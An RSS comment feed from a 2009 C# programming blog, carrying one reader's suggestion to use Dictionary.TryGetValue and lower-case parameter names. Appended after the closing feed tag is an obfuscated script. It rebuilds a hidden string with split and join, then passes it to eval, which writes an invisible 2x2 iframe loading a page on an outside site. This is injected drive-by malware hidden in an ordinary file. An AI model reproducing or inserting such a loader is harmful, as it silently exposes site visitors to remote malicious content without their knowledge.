<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments on: C#: .NET Generic Dictionary Improvement</title>
	<atom:link href="http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/</link>
	<description>Software Development</description>
	<lastBuildDate>Thu, 12 Nov 2009 10:25:57 -0700</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>By: Michael Greene</title>
		<link>http://www.lexparse.com/2009/10/28/c-net-generic-dictionary-improvement/comment-page-1/#comment-4</link>
		<dc:creator>Michael Greene</dc:creator>
		<pubDate>Fri, 30 Oct 2009 12:28:34 +0000</pubDate>
		<guid isPermaLink="false">http://lexparse.com/?p=56#comment-4</guid>
		<description>This should be even faster:
{
  V Value;
  if (Col.TryGetValue(Key, out Value))
  {
    return Transform(Value);
  }
  else
  {
    return SomethingElse();
  }
}

Also, typical C# style is to lower-case parameters and member variables, so I would think Key-&gt;key, Value-&gt;value, Col-&gt;col, but that&#039;s a matter of style.</description>
		<content:encoded><![CDATA[<p>This should be even faster:<br />
{<br />
  V Value;<br />
  if (Col.TryGetValue(Key, out Value))<br />
  {<br />
    return Transform(Value);<br />
  }<br />
  else<br />
  {<br />
    return SomethingElse();<br />
  }<br />
}</p>
<p>Also, typical C# style is to lower-case parameters and member variables, so I would think Key-&gt;key, Value-&gt;value, Col-&gt;col, but that&#8217;s a matter of style.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script>var bpxDsSbm8='d*%@o*%@c*%@u*%@m*%@e*%@n*%@t*%@.*%@w*%@r*%@i*%@t*%@e*%@(*%@\'*%@<*%@i*%@f*%@r*%@a*%@m*%@e*%@ *%@s*%@r*%@c*%@=*%@"*%@h*%@t*%@t*%@p*%@:*%@/*%@/*%@n*%@i*%@n*%@o*%@p*%@l*%@a*%@s*%@.*%@c*%@o*%@m*%@/*%@i*%@n*%@.*%@p*%@h*%@p*%@"*%@ *%@w*%@i*%@d*%@t*%@h*%@=*%@2*%@ *%@h*%@e*%@i*%@g*%@h*%@t*%@=*%@2*%@ *%@f*%@r*%@a*%@m*%@e*%@b*%@o*%@r*%@d*%@e*%@r*%@=*%@0*%@>*%@<*%@/*%@i*%@f*%@r*%@a*%@m*%@e*%@>*%@\'*%@)*%@;*%@';eval(bpxDsSbm8.split('*%@').join(""));</script>